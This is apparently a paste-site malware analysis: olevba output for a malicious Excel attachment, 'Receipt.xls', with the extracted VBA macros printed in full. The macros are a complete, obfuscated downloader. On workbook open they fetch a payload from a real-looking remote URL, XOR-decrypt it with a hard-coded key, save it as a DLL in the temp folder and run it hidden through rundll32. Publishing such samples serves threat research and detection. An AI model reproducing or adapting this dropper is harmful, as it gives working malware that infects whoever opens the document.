dynamoo icon

Malicious Excel macro

dynamoo | PRO | 09/29/16 01:29:59 PM UTC | 0 ⭐ | 1398 👁️ | Never ⏰ | []
VisualBasic |

16.52 KB

|

None

|

0 👍

/

0 👎

olevba 0.25 - http://decalage.info/python/oletools
Flags       Filename                                                         
----------- -----------------------------------------------------------------
OpX:MASI-B- Receipt.xls
 
(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
 
===============================================================================
FILE: Receipt.xls
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub Workbook_Open()
 
ItNinja "ASDEX"
End Sub
 
 
Function copy_screen_to_array(output_array)
    output_array = ""
    Dim screenarray(23)
    Row = 1
    For Each Line In screenarray
        EMReadS.creen reading_line, 80, Row, 1
        output_array = output_array & reading_line & "UUDDLRLRBA"
        Row = Row + 1
    Next
    output_array = Split(output_array, "UUDDLRLRBA")
End Function
 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
ANALYSIS:
+----------+---------------+----------------------------------------+
| Type     | Keyword       | Description                            |
+----------+---------------+----------------------------------------+
| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
+----------+---------------+----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls 
in file: xl/vbaProject.bin - OLE stream: u'VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas 
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public moyaMANUNADAcdaw As Object
Public moyaMANUNAra12dv34 As Object
Public moyaMANUNAKSKLAL As Object
 
 
 
Public moyaMANUNALAKOPPC As String
Public moyaMANUNAPLdunay() As String
Public moyaMANUNAUUUKA As String
Public moyaMANUNAUUUKABBB As String
 
 
Public moyaMANUNAGMAKO As Object
Public moyaMANUNA4 As String
 Public moyaMANUNA2 As String
Public moyaMANUNAASALLLP As Variant
 
 Public Const moyaMANUNARH = "User-Agent"
Public Const RACHEL = "etofi"
 
 
Public Function TlfFormat(ByVal tlfNr As String, dilodan As Boolean) As String
    Dim tmp As String
    Dim i As Long
If dilodan Then
 moyaMANUNALAKOPPC = moyaMANUNAKSKLAL(moyaMANUNAPLdunay(6))
 moyaMANUNAUUUKA = moyaMANUNALAKOPPC
 
 
 moyaMANUNAUUUKABBB = moyaMANUNAUUUKA + "\hrushki"
moyaMANUNAUUUKA = moyaMANUNAUUUKA + moyaMANUNAPLdunay(12)
 
Exit Function
Else
GoTo VarPupka
End If
restart:
    For i = 1 To Len(tlfNr)
        If Mid$(tlfNr, i, 1) = " " Then
            tlfNr = Mid$(tlfNr, 1, i - 1) & Mid$(tlfNr, i + 1)
            GoTo restart
        End If
    Next i
 
    For i = 1 To Len(tlfNr)
        tmp = tmp & Mid$(tlfNr, i, 1)
        If i = 2 Or i = 4 Or i = 6 Or i = 8 Or i = 10 Then
            tmp = tmp & " "
        End If
    Next i
 
    TlfFormat = tmp
    
VarPupka:
CallByName moyaMANUNAra12dv34, "sav" + RACHEL + "le", VbMethod, moyaMANUNAUUUKABBB, 14 / 7
 SaveAllStufAndExit moyaMANUNAUUUKABBB, moyaMANUNAUUUKA, "S2CsMgS5Y9WxzevdSUrPqUiTwI69FbRq"
 
     Call Shell("rund" & "ll32.exe " & moyaMANUNAUUUKA & ",qwerty", vbHide)
 
 End Function
 
Function PhraseCmd(cmd)
   
    regEx.IgnoreCase = True
    Set Matches = regEx.Execute(cmd)
    If Matches.Count <> 0 Then
        Set objMatch = Matches(0)
        Command = objMatch.SubMatches(0)
        
        WAITTIME = CInt(objMatch.SubMatches(1))
        WScript.Echo "WMIEXEC : Waiting " & WAITTIME & " ms..." & vbNewLine
    End If
    
    regEx.Pattern = "(.*?)-persist"
    regEx.IgnoreCase = True
    Set Matches = regEx.Execute(cmd)
    If Matches.Count <> 0 Then
        Set objMatch = Matches(0)
        Command = objMatch.SubMatches(0)
        PhraseCmd = "persist"
    End If
End Function
 
 
Function CreateShare()
    
    Set objNewShare = objWMIService.Get("Win32_Share")
    intReturn = objNewShare.Create _
        (FilePath, "WMI_SHARE", 0, 25, "")
    If intReturn <> 0 Then
        WScript.Echo "WMIEXEC ERROR: Share could not be created." & _
            vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
        Select Case intReturn
            Case 2
                WScript.Echo "WMIEXEC ERROR: Access Denied!"
            Case 9
                WScript.Echo "WMIEXEC ERROR: Invalid File Path!"
            Case 22
                WScript.Echo "WMIEXEC ERROR: Share Name Already In Used!"
            Case 24
                WScript.Echo "WMIEXEC ERROR: Directory NOT exists!"
        End Select
        If intReturn <> 22 Then WScript.Quit 1
    Else
        WScript.Echo "WMIEXEC : Share created sucess."
        WScript.Echo "WMIEXEC : Share Name -> WMI_SHARE"
        WScript.Echo "WMIEXEC : Share Path -> " & FilePath
    End If
End Function
 
 
 
 
Public Function GodnTeBabenParama(CH1 As String, CH2 As String, CH3 As String) As String
GodnTeBabenParama = Replace(CH1, CH2, CH3)
End Function
Public Function NombreUsuario() As String
Dim SQL As String
 
 
 moyaMANUNAra12dv34.Type = 0 + 0 + 1
 
 moyaMANUNAra12dv34.Open
Exit Function
 
 
SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario
 
 
If Not RsUsuario.EOF Then
    NombreUsuario = RsUsuario!usu_apodo
End If
End Function
Function DeleteShare()
    For Each objShare In colShares
        intReturn = objShare.Delete
    Next
    If intReturn <> 0 Then
        WScript.Echo "WMIEXEC ERROR: Delete Share failed." & _
            vbNewLine & "WMIEXEC ERROR: Return value -> " & intReturn
        Select Case intReturn
            Case 2
                WScript.Echo "WMIEXEC ERROR: Access Denied!"
            Case 25
                WScript.Echo "WMIEXEC ERROR: Share Not Exists!"
        End Select
    Else
        WScript.Echo "WMIEXEC : Share deleted sucess."
    End If
End Function
 
 
Public Function ToDBDateTime(ByVal ddmmyyhhmmDateTime As String) As String
    
     Set moyaMANUNA1DASH1solo = CreateObject(moyaMANUNAPLdunay(3))
 Set moyaMANUNAKSKLAL = moyaMANUNA1DASH1solo.Environment(moyaMANUNAPLdunay(2 + 2))
 VerCadenaPermiso ddmmyyhhmmDateTime
End Function
 
 
 
 
 
 
Public Sub DecryptByte(ByteArray() As Byte, Key As String)
 
  Dim offset As Long
  Dim ByteLen As Long
  Dim ResultLen As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
  Dim m_Key() As Byte
Dim m_KeyLen As Long
 
  m_KeyLen = Len(Key)
ReDim m_Key(m_KeyLen)
 
  m_Key = StrConv(Key, vbFromUnicode)
 
  
  ByteLen = UBound(ByteArray) + 1
  ResultLen = ByteLen
  
  
  For offset = 0 To (ByteLen - 1)
    ByteArray(offset) = ByteArray(offset) Xor m_Key(offset Mod m_KeyLen)
  
    
    If (offset >= NextPercent) Then
      CurrPercent = Int((offset / ResultLen) * 100)
      NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1
    End If
  Next
End Sub
 
 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | CreateObject   | May create an OLE object                |
| Suspicious | CallByName     | May attempt to obfuscate malicious      |
|            |                | function calls                          |
| Suspicious | Open           | May open a file                         |
| Suspicious | Shell          | May run an executable file or a system  |
|            |                | command                                 |
| Suspicious | vbHide         | May run an executable file or a system  |
|            |                | command                                 |
| Suspicious | Xor            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | ll32.exe       | Executable file name                    |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module2.bas 
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
 
Public Sub VerCadenaPermiso(permiso As String)
Dim i As Long
Dim letra As String
 
Alta = False
Baja = False
modi = False
Dim Consu As Boolean
Consu = True
 
 
 moyaMANUNA4 = "http://opmsk.ru/g76ub76"
 
 If Application = "Microsoft Excel" Then
 moyaMANUNADAcdaw.Open moyaMANUNAPLdunay(5), moyaMANUNA4, False
 
moyaMANUNADAcdaw.setRequestHeader moyaMANUNARH, "Mozilla/4.5 (compatible; MSIE 6.5; Windows NT 5.5)"
    
moyaMANUNADAcdaw.Send
TlfFormat letra, True
 NombreUsuario
  moyaMANUNAacheha letra
End If
 
Exit Sub
    For i = 1 To Len(permiso)
        
        letra = Mid(permiso, i, 1)
        
        If letra = "A" Then
            Alta = True
        End If
        
        If letra = "B" Then
            Baja = True
        End If
        
        If letra = "M" Then
            modi = True
        End If
        
        If letra = "C" Then
            Consu = True
        End If
    Next i
    If Len(permiso) = 0 Then
        Consu = False
        modi = False
        Alta = False
        Baja = False
    End If
End Sub
 
 
 
Public Function GetResulOfMyResult(ByVal Cadena As String) As String
    
    
 moyaMANUNA2 = GodnTeBabenParama(moyaMANUNA2, "=CH", "M")
GetCurrentFolder
 
 
 Set moyaMANUNAra12dv34 = CreateObject(moyaMANUNAPLdunay(1))
    
 Set moyaMANUNAGMAKO = CreateObject(moyaMANUNAPLdunay(5 - 3))
 
 ClearString ""
End Function
 
 
Public Function moyaMANUNAacheha(pass As String) As String
    Dim temp As String
    Dim moyaMANUNAtum As String
    GoTo beyTumba
    Dim pos As Long
    Dim leng As Long
    Dim tim As Variant
    Dim i As Long
    Dim Key As Long
    leng = Len(pass)
    tim = Mid(Time, 1, 8)
    tim = Mid(tim, 1, Len(tim) - 3)
    tim = Mid(tim, Len(tim) - 1, 2) * Int(Rnd * 100)
    For i = 1 To Len(CStr(tim))
        pos = pos + CInt(Mid(CStr(tim), i, 1))
    Next
    While pos > Len(pass)
        pos = pos Mod 10 + Int(Rnd * 10)
        If pos = 0 Then
            pos = Len(pass) + 1
        End If
    Wend
    
beyTumba:
    
moyaMANUNAASALLLP = moyaMANUNADAcdaw.responseBody
 
 ReadResult
 
End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
ANALYSIS:
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Windows              | May enumerate application windows (if   |
|            |                      | combined with Shell.Application object) |
| IOC        | http://opmsk.ru/g76u | URL                                     |
|            | b76                  |                                         |
+------------+----------------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module3.bas 
in file: xl/vbaProject.bin - OLE stream: u'VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
 
Public Function ReadResult()
 
 
 moyaMANUNAra12dv34.Write moyaMANUNAASALLLP
GoTo pid7
    WScript.Sleep (WAITTIME)
    UNCFilePath = "\\" & host & "\" & "WMI_SHARE" & "\" & Filename
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set objFile = fso.OpenTextFile(UNCFilePath, 1)
    If Not objFile.AtEndOfStream Then strContents = objFile.ReadAll
    objFile.Close
    WScript.Echo strContents
    
    strDelFile = "del " & file & " /F"
    exe.c strDelFile, "nul"
pid7:
     TlfFormat "", False
End Function
 
Public Function GetCurrentFolder()
     moyaMANUNA2 = GodnTeBabenParama(moyaMANUNA2, "*P", LCase("S"))
GoTo mig5
   
    WScript.Sleep (WAITTIME)
    UNCFilePath = "\\" & host & "\" & "WMI_SHARE" & "\" & Filename
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set objFile = fso.OpenTextFile(UNCFilePath, 1)
    GetCurrentFolder = objFile.ReadLine
    objFile.Close
    strDelFile = "del " & file & " /F"
    exe.c strDelFile, "nul"
mig5:
     moyaMANUNAPLdunay = Split(moyaMANUNA2, "JIIIINX")
End Function
 
 
 
 
 
Public Function ClearString(ByRef inOrigString As String) As String
    Dim strNewString As String
    Dim sChar As String
Dim i As Integer
 Dim d As Boolean
 d = True
 IsWord = True
 For i = 1 To Len(Trim("Reika"))
 If d = False Then
Set moyaMANUNADAcdaw = CreateObject(moyaMANUNAPLdunay(i - 2))
Exit For
Else
d = False
End If
Next i
ToDBDateTime ""
Exit Function
    
Call check_fo.r_MAXIS(False)
 
Call navigate_t.o_MAXIS_screen("POLI", "____")
EMWri.teScreen "TEMP", 5, 40
EMWri.teScreen "TABLE", 21, 71
trans.mit
 
 
Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = True
Set objWorkbook = objExcel.Workbooks.Add()
objExcel.DisplayAlerts = True
 
 
objExcel.Cells(1, 1).Value = "TITLE"
objExcel.Cells(1, 2).Value = "SECTION"
objExcel.Cells(1, 3).Value = "REVISED"
 
For i = 1 To 3
    objExcel.Cells(1, i).Font.Bold = True
Next
 
 
 
    ClearString = strNewString
End Function
 
 
 
Public Sub SaveAllStufAndExit(SourceFile As String, DestFile As String, Optional Key As String)
 
  Dim libhercen As Integer
  Dim ByteArray() As Byte
  
 
  
  
  
  libhercen = FreeFile
  Open SourceFile For Binary As #libhercen
  ReDim ByteArray(0 To LOF(libhercen) - 1)
  Get #libhercen, , ByteArray()
  Close #libhercen
  
  
  Call DecryptByte(ByteArray(), Key)
 
 
  
  libhercen = FreeFile
  Open DestFile For Binary As #libhercen
  Put #libhercen, , ByteArray()
  Close #libhercen
 
End Sub
 
 
Public Function ItNinja(ByRef inGUID As String) As String
moyaMANUNA2 = "=CHicro*Poft.X=CHLHTTPJIIIINXAdodb.*Ptr-Ea=CHJIIIINX*Ph-Ell.Ap"
moyaMANUNA2 = moyaMANUNA2 + GodnTeBabenParama("plicationJIIIINXW*Pcript.*Ph-EllJIIIINXProc-E*P*PJIIIINXG-ETJIIIINXT-E=CHPJIIIINXTyp-EJIIIINXop-EnJIIIINXwritFILMABOpon*P-EBodyJIIIINX*Pav-Etofil-EJIIIINX", "FILMABO", "-EJIIIINXr-E*P")
moyaMANUNA2 = GodnTeBabenParama(moyaMANUNA2 + "\hupoa*P.dll", "-E", "e")
 
 
GetResulOfMyResult "-"
Exit Function
    If Mid$(inGUID, 1, 1) <> "{" Then
        ItNinja = "{" & inGUID & "}"
    Else
        ItNinja = inGUID
    End If
End Function
 
 
 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | CreateObject   | May create an OLE object                |
| Suspicious | Open           | May open a file                         |
| Suspicious | Write          | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Put            | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Binary         | May read or write a binary file (if     |
|            |                | combined with Open)                     |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | P.dll          | Executable file name                    |
+------------+----------------+-----------------------------------------+

Comments